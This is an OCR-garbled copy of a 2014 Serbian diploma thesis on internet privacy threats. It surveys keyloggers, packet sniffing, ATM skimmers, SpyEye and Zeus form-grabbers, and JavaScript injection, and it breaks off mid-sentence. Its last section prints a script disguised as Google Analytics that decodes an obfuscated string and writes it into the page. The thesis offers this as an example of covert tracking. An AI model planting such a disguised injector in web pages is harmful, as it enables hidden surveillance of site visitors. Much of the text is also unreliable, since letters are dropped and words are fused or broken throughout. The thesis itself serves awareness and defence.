UNIVERZITET SINGIDUNUM
FAKULTET ZA INFORMATIKU | RA  CUNARSTVO

Evaluacija zastite privatnosti na
Internetu

- Diplomski rad -

Mentor: Student:

Doc. dr Sasa Adamayi Mihailo Mudrini¢

Br. indeksa: 2011/202358

Beograd, 2014.



AN

~—

FAKULTET ZA INFORMATIKU | RA  CUNARSTVO

UNIVERZITET SINGIDUNUM
FAKULTET ZA INFORMATIKU I RA  CUNARSTVO

Beograd, Danijelova 32

Kandidat: Mihailo Mudrinié
Broj indeksa: 2011/202358

Smer: Informatika i r&unarstvo

Tema: Evaluacija zastite privatnosti na Internetu

Datum odobrenja rada:
Beograd,

MENTOR

Doc. dr Sasa Adamavi

DEKAN

Prof. dr Dragan Cvetko¥i



Evaluacija zastite privatnosti na Internetu

Sazetak: U ovom radu analiziran je stepen ugroZenosti pmitiakorisntkih podataka na
Internetu. Polaze od razlgitih natina za pribavljanje privatnih podataka od strane
neovlagenih lica, kao i od lica prema kojima korisnici elgiraju svoje poverenje.
Razmatréaemo sve metode za prikupljanje podataka sa kligernssrane preko programa za
Internet pregledanje i praktio predstaviti njihove krajnje granice dometa ikksimalnu
dubinu zadiranja u privatnost korisnika, klijenta.

Za potrebe ovog rada i sagledavanja ovog problemayijen je sistem kojice
implementirati sve metode za prikupljanje podatgkako danas dobro poznatih Internet
tehnologija (JavaScript kod za prikupljanj®HP okruzenje za obradu podataka). Pored
penetracijskih testova i podizanja eksperimentatrkituzenja, usmetremo ostatak rada na
tradicionalne metode zaStite u vithiernet Security Suitessistema za zastitu na Internetu
i njegovih prednosti, kao i mana koje se moggituprimenom JavaScrigehnologije.

Krajnji rezultat rada je podizanje svesti, i kreja novih smernica kojée privatnost
korisnika/klijenata podi na viSi nivo bezbednosti i drugih poslovnih smsge u
slucajevima kada postoji opasnost od neasda®g ,ugrdivanja“ koda.

Klju ¢ne reti: ugroZenost podataka, privatnost, prikupljanje paia
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1 Uvod

Internet se kao globalni medij koristi u ljudskormugtvu dugi niz decenija. Prvo
zvanino otelotvorenje dobio je u vidu mreze sa komutexcipaketaZatim je napretkom
u istrazivanju doSlo do spajanja vise régh mreza u jednu slozenu mrezu {ptkom 70-
ih nastaju Mark |, ARPANET, CYCLADESMerit Network, Tymnet i Telenet).
ARPANET je prva mrezZa koja je povezala interne rangdiitih ustanova (UCLA i SRI).
Pristup ovoj mrezi proSiren je 1981. razvojem CSNEJ82 godine TCP/IP protokol je
standardizovan, koji je i dan danas u globalnojtigim (naravno u izmenjenom obliku jer
je kroz decenije usavrSavan i poboljSava&ini osnovu moderne komunikacije i razmene
podataka u globalnoj mrezi. Po poslednjim dostuppadacima internet pristup ima preko
2 milijarde korisnika ( ~30% svetske populacijetfji uzlazni trend je svakim danom sve
strmiji i strmiji kako se broj ljudi ali i teritoje pokrivene internet pristupom paava.

Uporedo sa pov@njem dostupnosti raste i brzina pristupa interséduakae utice |
na povéan protok informacija i njihovu daleko &@ dostupnost. Knjige, nani ¢asopisi,
muzika, filmovi, serije, Skolska i fakultetska liédura dostupna je pritiskom na dugme. Za
razliku od tradicionalnog odlaska u biblioteku, ikaju pa i na sama predavanja u skoli ili
fakultetu danas se sve to moze obaviti iz udobrszgistvenog doma, iz fotelje bez nekih
velikih problema. Ne ulaZe dublje u razloge ovakvog trenda, koji se razlikad osobe
do osobe i od situacije do situacije bilo da sunedostatak vremena ili posao, naravno i
lienjost se moZe utanati kao validan razlog, jedan od loSih razlogasabkako sve
ucestalijeg u drustvu, nas odnos prema nastmirh informacijama i n&emu Sto ne bi
trebalo deliti slobodno sa okolinom postaje sveStgmiji. Bilo da taj propustinimo
svesno ili nesvesno danas se&e mozemo videti i iskusiti situacije kada ljudi g®IN
brojeve za kartice slobodno izgovaraju u prodavneali daju svoje kreditne kartice
nepoznatim osobama u restoranima (konobarima)steosvoju privatnu postu, lozinku i
sl. na javnim mestima kao Sto su Stamparije illibibke.

Ovde dolazimo do termina privatnosti, koji moze timazlicita zn&enja u razkitim
kontekstima, ali svi oni imaju jednu stvar kojazajednéka, a to je zastita i skrivanje
onoga Sto je jedinstveno i poznato samo nama sigégookolina ne bi trebalo da zna ili
poseduje. Internet privatnost je relativno nov ierm odnosu na termin kompjuterske
privatnosticiji je deo, ali i same personalne privatnosti kpgastoji od trenutka Zetka

moderne forme organizacije grupe ljudi ili nacixivatnost u domenu interneta moze se
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razdovijiti na dva dela a to su informacije kojesmaogu identifikovati Rll - Personally
Identifying Information i informacije koje nas ne mogu identifikovathoq-Pll) tj.
informacije o naSem ponasanju navikama i sl. Oswnse na informacije koje nas mogu
identifikovati. To su na&e&e informacije kao Sto su korigkio ime i lozinka. Na prvi
pogled ovo su bezazleni skupovi slova i brojevapslednje vreme u i slucajeva tu
imamo i specijalne znakove, i ljudi se prema njiodmose sa velikom nonSalanttosjer
ipak Sta je najgore Sto se moZe desiti ako iskorisvoju lozinku i korisniko ime u kaféu
koji ima bezéni internet pristup na otvorenoj mrezi? Na to geare delimino odgovoriti
ovaj rad, ali da se vratimo nazad na poentu.

Korisnicko ime i lozinka najese iza sebe imaju e-mail adresu (bez e-mail-a se
danasnja komunikacija ne moze zamisliti jer realagostoji servis koji ne zahteva email
kao osnovnu jedinicu pristupa u manjem iléem obliku). Email adresa ima svoju lozinku
potrebnu za pristup servisu, trend se i ovde pgkgeu je ova lozinka nag&e identéna
ili u malom vidu izmenjena od lozinke koja se ktiriga ostalim servisima. Email nalog je
u velini slu¢ajeva kod ohliinih korisnika derivat njihovog internet provajdeja email
adresa se nalazi pod okriljem web servera njihazalgranog internet provajdera. Taleo
privatnoj email adresi se r@ge pristupa sa opsega IP adresa koje pripadajumoati
internet provajderu. Bilo da je IP dinatkog (stalno je u stanju fluksa tj promenljiv) ili
stattkog (uvek isti) tipa na serveru internet provajdeoatoji zapis kada i kome je taj IP
bio dodeljen. Sta to zti® Da biste se uopste registrovali za internetgesiMi morate
provajderu ostaviti adresu mesta na kome boravite kome Zelite internet pristup, Vase
ime i prezime, Vas ¢ni identifikacioni broj i dokument koji ga sadridakle rezimirajmo,
bilo koja akcija koju napravite na internetu kaorikoik koji se svojim korisrkim
imenom i lozinkom predstavlja na nekom web servimze direktno dovesti i proizvesti
sve vaSe privatne podatke, naravno dostupne verosamo ogratenom broju ljudi koji
imaju dovoljno visoko ovlaenje za to ali sa druge strane da li su to jedndévidue ili
organizacije koje tako neSto mogu uraditi? Naravioo imamo razliite viladine
organizacije, organe reda i mira, ali iza svegaatqpstoji joS jedan skup ljudi i
organizacija koji se svakodnevno bave ovim pitanj@m grupucine hakeri, krekeri
organizovovane kriminalne grupe icsld. Oni se podacima koje prikupljaju sluze tako Sto
pomciu njih preuzimaju identitete, stvaraju nove idexi@t transferuju novac sa vaseg
ratuna na njihove, podizu kredite na vasSe ime, otuafiame i joS veliki spektar akcija

koje se mogu izvrsiti na Stetu pojedinca u ciljtvasvanja dobiti ili izvrSenja nekog dela,
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bilo da je on kriminalan ili jednostavno samo zaml@ava neiju potrebu za dokazivanjem
I zabavom.

Pored konvencijalnih metoda prikupljanja i dobavjgainformacija, u poslednjem
periodu moZzemo witi novi trend pod nazivom druStvene mreze. Drusé/socijalne
mreze predstavljaju novi fenomen u polju privatngst na ovim mrezama korisnici sami
prakticno nude svoje ¢he podatke i ostavljaju veliki prostor za manipylacprikupljanje
istih. Naravno ove mreZe nude opcije za zastiih,isli su one ili duboko skrivene ili ne
toliko ocigledne. Cloud sistemi predstavljaju joS jedan newd zbirnog mesta za
korisnikke informacije koji omogéavaju da se svi privatni podaci i informacije uskdte i
c¢uvaju na jednom mestu. Cloud-i svakako predstavljgigurniji oblik skladiStenja
informacija, ali su ti sistemi onoliko sigurni kiedi su im sigurne fizike lokacije na kojima
se nalaze masine i serveri na kojima se podacrrgivanalaze. lako postoji veliki broj
regulativa koje kontroliSu raspolaganje podacimabiadom istih, one su vrldesto ili
nejasne ili relativno opustene u domenu kazni garke pravila.

Ovaj radce se baviti samo jednim malim delom oblasti obdbwge terminima privatnost,
prikupljanjem podataka, zastitom od istog i od sprgkivanja“ i trudée se da da smernice

koje mogu pomé u prevenciji i zastiti.
1.1 Predmet istrazivanja

Predmet istrazivanja su metode za prikupljanjeskatkih podataka, prvenstveno od
strane neovla&&nih osoba, ali i od strane lica u koje korisnioiaju poverenje i kojima
poveravaju deo svojih podataka, naro u situacijama kada korisnici toga nisu ni svesn
ili kada predpostavljaju da postoji odema vrsta zloupotrebe u domenu privatnosti ali nisu

u mogunosti da bilo Sta preduzmu.

1.2 Struktura rada

Pri izradi rada kori@&ne su smernice iz predlozene struklture standgrdno
diplomskog rada. U uvodnom poglavlju opisan je pret istrazivanja rada. Drugo
poglavlje bavi se pregledom trenutnog stanja usbfaikupljanja podataka korisnika tj.
ugroZavanja njihove privatnosti i dostigilauu ovom domenu, tale daje se i pregled
stanja u oblasti koja se bavi zasStitom privatndsirisnika i tehnologijama koje to

omoguuju.
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U trecem poglavlju dati su teorijski pregledi tehnologkaje omogdavaju prikupljanje,
obradu, ali i zaStitu podataka u Sta spadaju peztetnike, algoritmi i software koji se
danas upotrebljavaCetvrta oblast daje pregled ekperimentalnog sisteasmovanog na
JavaScript i PHP tehnologiji, i prvenstveno sluaokalat za penetracijske testove, ali
takaie i kao nain za demonstriranje mogunosti prikupljanja podataka bez znanja
korisnika. | na kraju, u petom poglavlju dat je lpaéak sa ostvarenim doprinosima, kao i

sa predlogom za budiurad.
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2 Pregled u oblasti istrazivanje

2.1 Prikupljanje podataka

Akvizicija korisnickih podataka kao Sto su lozinke, korid@ imena i skini osetljivi
podaci moZe se obaviti koégnjem razkitih metoda (bilo da su one prosto prikupljanje,
pogatanje ili pak neka druga metoda).

Medu tim metodama svrstavaju se prisluskivanje mrezsegpraaja, prikupljanje
koris¢enjem keylogger programa, obmanjivanjem korisnika ili pak pdgajem u vidu

napada kori&njem renika, brute-forcenapadima i sl.

Metwork
traffic
sniffing

Audicand

Dumpster 1 Efl
diving ; eavesdroppi

4 r

Matware

Shoulder
surfing

Brute-
force

attacks

Dictionary

attacks

Slika 1 — Razliite metode akvizicije koristkih lozinki®

! Link: http://resources.infosecinstitute.com/keyjegs-how-they-work-and-more/
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2.1.1 Prikupljanje u okviru operativhog sistema

2.1.1.1 Softverski alati

Hipervizorski keylogger-i

Hipervizorski tipkeyloggera moze biti ukljgen u malverskog hipervizora koji je
se izvrSava iza operativnog sistema. On pEaktipostaje virtuelna masina koju korisnik
sistema ne moze detektovati. Tigan primer ovakvog alata je program poda naziRioe
pill (plava pilula).

Koncept ovog programa svodi se na hvatanje i preazje instance operativnog
sistema pokretanjem malog hipervizora (monitorunghtih masina) i virtuelizacija ostatka
masine pod njim. Originalni sistem bi i dalje odrda sve postoje reference ka svim
fajlovima i ureiajima, ali skoro sve drugo, kao Sto su hardverskkipi, zahtevi za
podacima ili sistemsko vreme mogu biti presretodtistrane hipervizora (koji moze slati
lazne odgovore ili odgovore izmenjenog tipa). Drugiziv za ovakav alat je YMBR
odnosno rutkit baziran na vituelnoj masiniir{ual-machine based roothit Ovakvi
»Sistemi” su u svojoj osnovi tehtki 100% nevidljivi korisniku sistema, nafito kod
AMD procesora kod kojih je virtuelizacija u sklop@ajnizeg sloja procesorske logike jer
virtuelizivani gost tj. korisnik nema mog@uost da pita da li je on gost ili ne. JoS uvek se
vode diskusije na ovu temu i neki istrazivévrde da 100% nevidljivost tehtki nije
ostvariva. lzvorni kod programa se od 2007 godimZemai na internetu i koristiti samo

u edukativne i istrazivdke svrhe.

Kernel keylogger-i

Predstavlja program na masini koji se skriva u gamsnovi operativhog sistema u
tzv. korenu Koot) i odatle presrge otkucane tastere na tastaturi (jer svaki prataaz
osnovu sistema). Ovakvi programi su tesSki za pesathj su takde tesSki i za detekciju i
otkljanjanje. Ovakvikeyloggesi smeStaju se u kernelski nivo sistema i samim $un
veoma teski za detekciju, pogotovu za aplikacije lse izvrSavaju u koristhkom modu tj.
nemaju pritup korenim funkcijamaroot accesy NageXe se implementiraju u vidu
rutkitova (ootkit) koji varaju operativni sistem (zaobilaze ga) bglaju neodobreni pristup
hardveru, Sto iktini veoma mdnim alatima. Na ovakav gm rutkit keyloggermoze

imitirati drajver za tastaturu i na tajdma dobija pristup svakom otkucanom tasteru.
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Keylogger-i bazirani na API-ju

U svim graftkim okruzenjima svaka akcija se izrazava svojimadagem (event).
Pritisak tastera, pomeraj miSa, pak i promena vetine prozora predstavija dods.
Graficka okruzenja formiraju se kao petlja, kojacesto naziva petlja dodaja, kojaceka
novi dogalaj, definiSe njegovu prirodu i formira akciju kadgovor na dog#aj. Tipicne
aplikacije prikupljaju dogdaje i izvrSavaju akcije bazirane na njihovim sopsimn
prozorima i ne ulaze u petlje dalgga koji se odnose na druge aplikacije.

Keyloggeri bazirani naAPI pozivima koriste tu dodatnu mogosti monitoringa
petlji dogataja drugih aplikacija. Oni predstavljaju relativigainostavne programe koji se
povezuju naAPI tastature koji omogiavaju dobijanje obavestenja od samog operativhog
sistema kada dodje do novog stanja tj. pritisksagdera. lako su oni najprostiji za pisanje
takade su i najjednostavniji za detekciju jer opter@e sistemskih resursa raste paralelno
sa poveéanjem pritisnutih odnosno detektovanih tastera.ePana koltina unosa za
sobom povlaé povetano opteréenje procesora potrebnog za detekciju pa se ovakvi
programi mogu na veoma brz dma vizuelno detektovati koré&njem Windows Task
Managera ili nekog drugog programasé namene.

requestbvents [ohject, events)

This function allowsthe keylogger to receive copies ofthe object's events

i‘

while[Trus}

Makesthecode loop indefinitely until the processis manually stopped or a break statement isreached.

svent = getEvent])

The subsequent event will be pulled off the keylogzer's event queue to await a new event to arrive, should that be

necessay, by the call to this APl function.

if [event = keyboard event’)

Introducing if statement to the code and the equality operator, pinpointing that ' the event equalsto a 'keypress
event'

W

<!— Next, the virtusl key thatwas pressed needs tobe recorded—>

Slika 2 — Primer pseudo-kodtayloggera baziranog na APl pozivima

% API : Application Programming Interface
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Keylogger-i bazirani na memorijskim inekcijama

Ovakvi keyloggeri menjaju memorijske tabele koje se odnose narnete
pregledée i druge sistemske funkcije kako bi vrSile monitgr unosa. lzmenama
memorijskih tabela ili direktnim dodavanjem sopsivg sadrzaja, ova tehnika se moze
koristiti za zaobilazenje Kontrole Korigikiog Naloga {ser Account Control - UAC
Trojanci kao Sto sweusi SpyEyekoriste ovakav metod monitoringa. &ln princip se
moze primeniti i na ostale operativne sisteme koaju slican sistem zastite koristkih

unosa i akcija.

Analizatori paketa

Ovakav softver zasniva se na ¢@aju i snimanju mreznog saobaga koji je
povezan sHTTP POSTzahtevima kako bi se dobio korigki unos koji se odnosi na
nezastiene lozinke ili bilo koje druge informacije poslat@m metodom. Neki od tipnih
primera ovakvih softvera swWireshark Fiddler, Carnivore Cain and Abel i sl. Ovo je
naravno mogée pod uslovom da je ¢eo nezastienoj komunikaciji u formiHTTP
protokola jer kori&enje HTTPS(HTTP Securgnegira ovakav vid prikupljanja (ili ga u

velikoj meri otezava).

H psexec_without_ipc.cap - Wireshark
File Edit View Go Capture Analyze Statistics Telephony Tools Help

BWeee mEXRERE AesaTL QAR WEM % B

Filter: ~ Expression.. Clear Apply
No. . Time Source Destination Protocol Info
1¢0 9.3L/0/0 192.1006.£33.L£0 192,106, £33.150 SMB 1rdiis SeLUnudly Keguest

177 9.524759
178 9. 524763

192.168.253.130
179 9. 524767

. 233.128

192.168.253.128
53, 168. 253. 121 T SRR
192.168.253.128

'53.130

TCP
192.168.253.130

TCP.

microsoft-ds > hpvmmdata [ACK] Seq=3296
[CP P segment of a reassembled PDU
SMB

TCP Segment af a reass
Trans Secondary Request

180 9.524770 192.168.253.130 192.168.253.128 TCP microsoft-ds > hpvmmdata [ACK] Seg=3296
1R1 0 R234772 102 &R 282 12N 107 TR IR 12R cume Tranc Dacnnnca

® Frame 178 (1514 bytes on wire, 1514 bytes captured)

@ Ethernet II, Src: Vmware_e2:6b:c9 (00:0c:29:e2:6b:c9), Dst: Vmware_50:39:fc (00:0c:29:50:39:fc)

# Internet Protocol, Src: 192.168.253.128 (192.168.253.128), Dst: 192.168.253.130 (192.168.253.130)

& Transmission Control Protocol, Src Port: hpvmmdata (1126), Dst Port: microsoft-ds (445), Seq: 117349, Ack: 3296, Len: 14860

0580 00 0O 00 00 00 0D 00 00 00 00 00 00 00 00 0D 00  ...iiiii sadises
0580 00 00 00 00 00 00 00 00 00 00 00 00 74 00 63 00 ..eevvew wunn 6
05a0 73 00 74 00 70 00 61 00 73 00 73 00 77 00 &f 00 S.L.p.3. S.5.W.
05b0 72 00 64 00 00 OO OO OO OO QO 0O 0O 00 OO OO 00 r

05c0 00 00 00 0O 00 00 00 OO0 OO0 00 00 00 00 00 00 00 ......vv wunvnnnn

ACAN AN NN _nAn NN nn nn nn nn 0N nn_ nn nn nn_nn_nn_on

O; File: ."C.:\I;"r.ég}a}n l.:i‘é\‘\"\iiI'E.Eri‘.lﬂrk(pEIE);E[Jl;fi‘:. Packets: 5'516\5;:'\5')@{65'1 Marked: 0

Slika 3 — Otkrivanje lozinke kor&njem Wireshark programa
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Lokalni keylogger-i sa udaljenim pristupom

Ovakvi keyloggeri su tipini keyloggerprogrami na lokalnom tanaru ali sa jednom
bitnom razlikom. Oni imaju dodatnu maoguost da prikupljene podatke proslede direktno
napadau kori¥enjem neke od metoda udaljenog pristupa :

- Upload-ovanjem podataka na sajt, bazu ili pukerR-a

- PeriodEnim slanjem u vidu email-a na predefinisanu adresu

- Podaci se be&nim putem prenose na odrediSte kégi§em dodatnog hardverskog

modula.

- Omoguravanjem udaljenog pristupa napa&dana lokalnoj masini radi prikupljanja

snimljenih podataka i log-ova
Ovakve pretnje su pretnje direktno ka i na lokaln@unaru tako da metode kao Sto su

HTTPSkomunikacija ovde nemaju uticaja tj. ne podizuoni&jnosti.

Firmware:

Firmware koji radi naBIOSnivou i obrauje dogdaje Event} vezane za tastaturu
moze biti modifikovan da u isto vreme i snima téeislogdaje. Za implementaciju
potreban je fiziki pristup ili super-korisriki nalog (specijalan nalog koji se koristi za
administraciju sistema) na d@naru, takde softver koji se ubacuje BIOS mora biti
napravljen za speciine komponente koje se nalaze &uraaru.

Hardverski keylogger-i

Hardverskikeyloggeri ne zavise od bilo kakvog softvera koji je pottelnstalirati
kako bi se podaci prikupili jer se sve Sto je ploti@ za monitoring nalazi na uredjaju koji

se implementira na ¢anar.
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Slika 4 - Primeri nekih hardverskikkeyloggera

Hardverskikeyloggesi koji se koriste pri snimanju pritisnutih tasteftankcionisu
na principu postojanja fizkog uretaja koji se umé& negde u liniji izméu tastature i
raunara, najee se prikljduje na sam konektor kabla tastature. Postoje iijeerz
namenjeneUSB konektorima kao i posebni ul&i namenjeni za koré&nje na laptop
ratunarima, u vidiMini-PCI kartica koji se konektuju na odgovaréjslot u laptopu.

Postoje i suptilnije varijante hardversikibyloggera koji se mogu instalirati unutar
tastature ili su prethodno #eigraieni u same tastature u procesu proizvodnje, takeeda
fizicki dodatak ne moZe primetiti na samom kablu. Opa tieleze sve pritisnute tastere na
tastaturi i skladiSte ih na internim memorijamajika se kasnije moze pristupiti korigte
na primer tajnu sekvencu tastera. Hardveiskyloggerima prednost nad softverskim
reSenjem jer ne zavisi od operativnog sistemadejialazi na ciljanom ¢anaru i ne moze
u¢i u konflikt sa nekim drugim programom i tako otkrsvoje postojanje, a taldle ne
moze ni biti detektovan konvencionalnim metodama &@ su posmatranje optéeaja i
zauzéa raunarskih resursa. Metim, obzirom da se radi o hardverskoj komponenti
(postoji u fizekom svetu) i ukoliko se instalacija vrSi na prinmedu porta za tastaturu
na kuistu raunara i kabla tastature, njegovo prisustvo se make uditi fizi ¢kom

opservacijom.
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Neke verzije hardverskikeyloggera imaju dodatnu mogaost udaljenog pristupa
tj. u sebi imaju ugrdene bezine ili bluetooth module kojima se omdgwa napadai da u
bilo kom trenutku pristupi internoj memoriji i paki snimljene podatke, ili pak da u
realnom vremenu prati otkucaje tastera na tastaturi

KeyGrabber

Slika 5 — Primeri fiztkih dodataka

Prisluskivaéi beziénih tastatura

Predstavljaju pasivne utaje koji prikupljaju pakete podataka poslatih ochisé
bezine tastature ka svom prijemniku. Sa obzirom da riglugkivati bezinih tastatura
pasivne prirode, bilo kakva enkripcija koja postejneiu odasilj&a i prijemnika mora biti
razbijena pre upotrebe kako bi komunikacija mogfigopesretnuta.
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Prekrivaéi tastature

Napadai koji za cilj imaju prikupljanje pritisnutih taste na urdajima kao Sto su
bankomati mogu Kkoristiti ovakve ut@e za prikupljanjePIN brojeva prekrivanjem
originalne tastature prekrivam koji izgleda indentho kao original i belezi svaki
pritisnuti taster na bankomatu, ali taleoprenosi svaki pritisnuti taster na originalnidaje
tako da se pri samoj upotrebi bankomata ne vidakuk razlika i korisnik ostaje u

kompletnom uverenju da svBjN broj ukucava na samom degu.

Slika 6 —Skimmeiza bankomat

Akusti ¢ki keylogger-i

Akusticna kriptoanaliza moZe se Koristiti za monitoring uka nastalog
pritiskanjem tastera na tastaturéwaara. Svaki taster ima svoj unikatni zvuk, iakolika
nije atigledna sa aspekta ljudskog sluha @vuwpotpis se suptilno razlikuje od tastera do
tastera. Kori&enjem ovecinjenice nam daje mognost uparivanja akusgtiog potpisa sa
realnim tasterom upotrebom statikth metoda kao Sto je analiza frekvencija. Frekyjanc
ponavljanja slinih akusténih potpisa tastera, period iztherazliitin pritisnutih tastera i
druge informacije kao Sto su madgiezik kori€en pri kucanju koriste se u okviru ove

analize kako bi se mapirali zvukovi tj. kako bi sparili akusténi potpisi sa fiztkim

* Link: http://krebsonsecurity.com/wp-content/uple&D10/01/Imskim1.jpg
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tasterima. Tigino je potreban snimak od 1000 ili viSe pritisak&dk#i ova analiza bila
moguta (povéanjem broja snimljenih tastera svakako g@awe i preciznost ove analize).

EM analiza

Kod zicanih tastatura postoji moguost snimanja elektromagnetnih &gaja kabla
tastature sa udaljenosti do 20 metara, koje se rabdeiti bez ikakvog fizikog pristupa
samoj tastaturi. Svajcarski nauici su 2009. godine testirali 11 ragtih USB, PS/2 i
laptop tastatura u prostoriji koja je polu-rezistenna eho i zaklgili su da su sve ranjive
na ovakvu metodu snimanja prvenstveno zbog nedasfatwvilne izolacije tj. zaStitnog
omotaa koji bi spreio ,curenje” elektromagnetnih talasa jer bi se takkoSkovi
proizvodnje tastatura znatno poad. Istraziva&i su koristili prijemnik Sirokog opsega

podeSen na spedaifiu frekvenciju emisija same tastature.

Opti¢ka prismotra

Opticka prismotra, iako u klaghom smislu nije tigkeyloggera, svakako je mogu
pristup za otkrivanje i snimanje korigkih podataka kao Sto su lozinke ili PIN brojevi.
Pravilno postavljena minijaturna kamera, koja meégostaviti npr. na bankomat tako da
nije lako udljiva, omoguuje napadé da posmatra i snimi PIN broj osobe koja korati t
bankomat.

Fizi¢ka prismotra

Ovaj tip prikupljanja podataka sustinski nkeylogger ali se dobijena informacija
ne razlikuje od informacije prikuplijene potwkeyloggera. Ova metoda primenjuje se
tipicno kod mini-tastatura koje se koriste za zastitjekdia od nedozvoljenog pristupa.
Svaki otkucan taster na sebi ima dokaz o kenfu u vidu mnogobrojnih otisaka prstiju (u
zavisnosti od nivoa upotrebe). Lozinkadaliri cifre na klasinoj numerékoj tastaturi koja
na sebi ima 10 tastera (brojeva) predstavlja jenthi® mogwnosti, ali ako su te cifre

manuelnim unoSenjem svake od méwkombinacija.
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2.1.2 Prikupljanje podataka u pregleda¢u

Internet pregleda predstavljaju softver koji je jedna forma kapijevrata u svet
interneta i jedan od dma za pristupanje nepreglednom moru informacijge Katernet
sadrzi. Kroz njih se moze éiasve od uputstava za reSavanje matetkiti problema,
pomcii oko izrade domah zadataka ili bezazlenih stvari kao Sto su racegptomiljena
jela.

Takade ih svakodnevno koristimo za operacije kao Stplatanje r&una, transfere
novca, kupovinu u online prodavnicama. Tcgihi ranjivim na formuMITM (man in the
middle napada tjMITB (man in the browsérkoja omogdava pojedincima (napadiena)
da preuzmu, modifikuju ili potpuno izmene informadioje se razmenjuju iznda internet
pregledéa i udaljenog servera. Ovakav vid napada posebigrgéen u domenu internet
bankarstva gde prikupljanje informacija moze dovdstrelativno velike materijalne dobiti
za napadéa.

Tipican primer softvera predstavljaju programi kao st&gyEyea Zeus

=2 SpyEye Builder v1.334 [ ]

X&) Spy Eye..

Encryption key (for config): {srthrandomkey |
PR sns-Rapport: @
Clear cookles every startup (TE, FFJ r .
U’ FF webirgects: [F
Delete non-exportable cartificatas: I3
O Opera farmarabber: [F
Don't send http-raports: r

E Chrome tormgrabber [@

Compress bulld by UPX »3.07w: 72

Make bulld without ZLIB suppo+t

(Sppfre may use b for unpackirg gzip or deflate a
content at FF webinjecks . so, BNz optich can save
15-16 KB

Make LITE-config O
(witheut webinjects, plugins & soreenshets )

* ERE name iRecl,cIe.Bin | * Mutex name | |System$eruice

— | Make config & get build |

Slika 7 — Izgled interfejs&pyEyesoftvera za prikupljanje informacija iz interneegled&a
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Prikupljanje podataka kroz forme

Ovakav tip prikupljanja korisgkih informacija obtno prati kompjuterski virus
koji se aktivira na sistemu i koji prati komunik@cikoju internet pregledavrSi sa
udaljenim serverom. Oni rade po principu da seskitki podaci presr@ pre samog
slanja udaljenom serverdime se omogéava kompletno zaobilazenje eventualnih
enkriptovanih kanala upotrebodiT TPSprotokola. Ovaj metod je efektivniji od koéeénja
keyloggersoftvera jer omogava prikupljanje podataka kao Sto su lozinke i «mtka
imena, ¢ak i u sltajevima kada se ti podaci unose kéeigiem virtuelnih tastatura,
automatskim popunjavanjem @mea pregledd&a danas ima ovu funkciju kojom se na
internet stranicama automatski popunjavaju formeame za dozvolu pristupa skrivenom
sadrzaju), ili prostim iseci nalepi metodama. Tdkoimaju moganost sortiranja
prikupljenih podataka na osnovu imena promenljdahijenog iz forme sa koje su podaci
prikupljeni, npr. email, koristiko ime lozinka itd. Takodje uz svaki prikupljenigadak
belezi se URL adresa sa koje su te informacije prikupljene.

Tipi¢ni primeri ovakvih softvera predstavljajMMP-Formgrabber koji ima
mogutnost prikupljanja podataka iz svih poznatijih pesta kao Sto su Google Chrome,
Mozilla Firefox, Opera, Internet Exploreweyland-Yutani BOkoji je jedan od prvih
malvera koji je namenjen upotrebi na Mac OSX platfana i radi na Mozilla Firefox
pregledau.

Ovakav vid prikupljanja podataka ¢ je 2003. god. od strane tvorca varijante
virusa-trojanca Downloader.Barbew koji pokuSava da na sistem instalira
Backdoor.Barbew zapane njegovo izvrSavanje. Ovakav metod nije postgulawan sve
do 2007. godine kada se na Internetu pojavio vmjsnac pod imenonZeus koji je
koris¢en za krdu pristupnih Sifri za bankovnedane prikupljanjem istih kroz sam internet
pregledd. Oba virusa su iniciajalno proSireni k@efjem email porukéijim otvaranjem
se inicira instalacija ovih programa. Kasnije imugije ovih virusa su ne samo imale
mogunost direktnog prikupljanja podataka iz pregldave su mogle i da utvrde

korisnost tih podataka.
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Sa aspekta Internet preglédakorisnéki podaci se mogu prikupiti na joS dva
popularna néna, a to su umetanjem kratkih kodova napisaniavaScript jeziku i u vidu

kopija legitimnih internet prezentacija.

2.1.2.1 Prikupljanje podataka preko autentiénih stranica umetanjem koda

JavaScript jezik koji je integralni deo svakog mwaeg Internet pregleda, bilo da
je on na mobilnoj platformi ili personalnom¢rmaru, pruza veliki spektar mognosti
kako korisniku same web prezentacije tako i onomestoji iza nje. Pored vlasnika web
prezentacija interes za podacima postaje gestaliji u kompanijama koje se bave internet
reklamiranjem koji prikupljene podatke koriste kako svoju ponudu bolje iskrojili i
nainili je primamljivijom za obénog korisnika. To je naravnho samo jedna strana hgeda
jer svaki prikuplieni podatak o korisniku moZe td&onaskoditi privatnosti tog istog

korisnika.

<script type="text/javascript">

var _gaq = _gaq || [1;
_gaq.push(['_setAccount', "UA-XXXXX-X']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript';
ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl’

"http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName( 'script')[0];
s.parentNode.insertBefore(ga, s);

NO;

</script>

Ovaj kod predstavlja tipan primer jednog koda koji se upotrebljava kakaséi
pratilo ponaSanje korisnika web servisa. Ovakali¢ns kodovi se danas mogu diana
virtuelno svakom internet sajtu, bez obzira na oyegnamenu, posgenost ili sam kvalitet.
Ovaj kod svom vlasniku omogava da tano utvrdi odakle korisnik posaje stranicu,
koliko njegova poseta traje, odakle je na nju dp&éio gde je otiSao po napustanju iste. U
ovom sléaju kod je benigan, prikuplja podatke, ali¢imakoris&enja tih podataka je
uglavnom javan i transparentan. Ali slédeate koda koji naizgled radi shu stvar kao

na gornjem primeru ima kompletno drugu funkciju:
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<script type="text/javascript">

var gaJlsHost = (("https:" == document.location.protocol) ? "https://ssl."” :
"http://www.");

document.write(unescape("%3Cscript src="" + gaJsHost + "google-
analytics.com/ga.js' type='text/javascript '%3E%3C/script%3E"));

</script>

<script type="text/javascript">

var source =
">kRhtcog"ute?$jvvr<iluvcvukphqoqtiliqqingliqOrjrAukf?98"ykfvj?2"jgkijv?2"uv{ng?
$ikffgp$"htcogdqtfgtr2"octikpjgkijv?2"octikpykfvj?2"uetqgnnkpi?pq@>1khtcog@"’;
var step = -2;

var result = '';

for(var

1=0;1<source. length;i++)result+=String. fromCharCode(source.charCodeAt(i)+step);
document.write(result);

var pageTracker = _gat._getTracker("UA-4779124-1");

pageTracker._initData();

pageTracker._trackPageview();

</script>

"

Fragment programskog koda iznad om@ya tréem licu da vrSi nadgledanje
korisnika i vrsSi prikupljanje podataka bez ikakvoganja korisnika. Podaci prikupljeni na
ovaj n&in mogu se iskoristiti u ragiite svrhe, od &enja ponasanja samog korisnika i
